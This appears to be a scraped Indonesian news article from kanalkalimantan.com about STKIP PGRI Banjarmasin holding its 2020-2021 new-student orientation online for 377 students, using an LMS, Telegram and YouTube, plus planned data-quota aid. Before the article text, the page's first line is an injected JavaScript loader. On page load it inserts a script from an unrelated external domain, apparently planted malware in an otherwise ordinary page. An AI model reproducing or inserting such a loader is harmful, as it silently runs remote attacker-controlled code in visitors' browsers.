(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kendati di tengah pandemi Covid-19, Sekolah Tinggi Keguruan Ilmu Pendidikan (STKIP) PGRI Banjarmasin tetap menyelenggarakan Pengenalan Kehidupan Kampus Mahasiswa Baru (PKKMB) tahun akademik 2020-2021. Bedanya, kegiatan PKKMB digelar secara daring (dalam jaringan) yang dipusatkan di Kampus STKIP PGRI Banjarmasin, jalan Sultan Adam Banjarmasin, Senin (7/9/2020) pagi.
Menurut Ketua STKIP PGRI Banjarmasin Dr H Dina Huriaty, kegiatan PKKMB untuk mahasiswa baru ini diikuti 377 mahasiswa, seluruhnya mengikuti kegiatan ini secara virtual. Kegiatan PKKMB ini berlangsung selama empat hari, dari Senin (7/9/2020) hingga Kamis (10/9/2020).
“Untuk materi, kita sudah rekam. Semua sudah direkam, mengacu pada petunjuk Kementerian (Dikbud Dikti) untuk pelaksanaan PKKMB,” kata Dina.
Nantinya, mahasiswa baru akan masuk ke sistem pembelajaran yang disebut dengan LMS (learning management system). Sehingga mahasiswa dapat mempelajari materi kapan saja dan dimana saja.
“Bukan berarti mahasiswa baru dengan mudah tidak mengikutinya. Karena di akhir setiap sesi kami memberikan kuis-kuis yang harus mereka jawab. Apabila mereka mengikuti semua LMS, maka akan mendapatkan sertifikat,” beber Dina.
Di STKIP PGRI Banjarmasin sendiri, diakui Dina, telah menerapkan pembelajaran secara daring sejak Covid-19 merebak di Kalimantan Selatan sejak bulan Maret 2020. Dimana, semua kegiatan mahasiswa, baik pembelajaran, pengabdian kepada masyarakat maupun penelitian dilakukan secara daring.
Sehingga, hal inilah yang mendasari dibuatnya metode pembelajaran secara LMS yang dapat diakses baik oleh dosen maupun mahasiswa.
Ditambahkan Ketua Pelaksana PKKMB STKIP PGRI Banjarmasin Dr Hj Ida Komalasari, pelaksanaan PKKMB di tahun ini sangat berbeda dengan tahun lalu, yang masih dapat dilaksanakan secara tatap muka. Guna memudahkan dalam memberikan pengarahan, sebanyak 377 mahasiswa baru dimasukkan ke grup aplikasi messaging Telegram.
“Kemudian juga dapat melalui Instagram dan Youtube STKIP PGRI Banjarmasin. Pelaksanaan PKKMB selama empat hari dilakukan secara daring, hanya pembukaan ini saja yang melalui live streaming. Sisanya baru melalui LMS,” beber Ida.
Namun, jika mahasiswa baru kesulitan mengakses LMS, Ida menambahkan, dapat diakses melalui Youtube.
Sementara itu, Wakil Ketua III STKIP PGRI Banjarmasin Ahmad Humaidi menjelaskan, ada bantuan untuk mahasiswa baru di STKIP PGRI Banjarmasin ini. Selain beasiswa dengan kuota 60 mahasiswa, kampus ini juga mendapatkan keringanan untuk biaya UKT (uang kuliah tunggal).
“Kemarin kita juga diminta pemerintah untuk memutakhirkan nomor HP mahasiswa. Rencananya mahasiswa akan diberi bantuan sebesar 50 GB bagi mahasiswa dan juga dosen setiap bulan. Insyaallah kalau sudah ada komitmen, mahasiswa akan mendapat bantuan kuota,” pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.